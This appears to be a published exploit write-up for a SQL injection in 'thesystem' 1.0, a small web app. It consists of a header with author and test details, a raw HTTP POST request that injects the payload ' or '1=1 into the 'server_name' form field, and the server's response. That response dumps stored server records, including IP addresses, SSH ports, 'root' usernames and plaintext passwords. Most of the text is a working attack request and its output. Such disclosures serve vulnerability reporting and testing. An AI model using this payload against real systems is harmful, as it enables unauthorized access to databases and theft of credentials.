thesystem App 1.0 - 'server_name' SQL Injection

# Exploit Title: thesystem 1.0 - 'server_name' SQL Injection 
# Author: Sadik Cetin 
# Discovery Date: 2019-09-26 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 

# Description: 
# Simple SQL injection after login bypass(login_required didn't used) 

POST /data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=---------------------------18467633426500 
Content-Length: 330 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 
Upgrade-Insecure-Requests: 1 

-----------------------------18467633426500 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 

9LsPWlffpiAEGYeCvR9Bead9tslR18flkZRAjREhmqtJpFwNrnSBJXTH245O5sh3 
-----------------------------18467633426500 
Content-Disposition: form-data; name="server_name" 

' or '1=1 
-----------------------------18467633426500-- 



HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:16:11 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 190 

(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')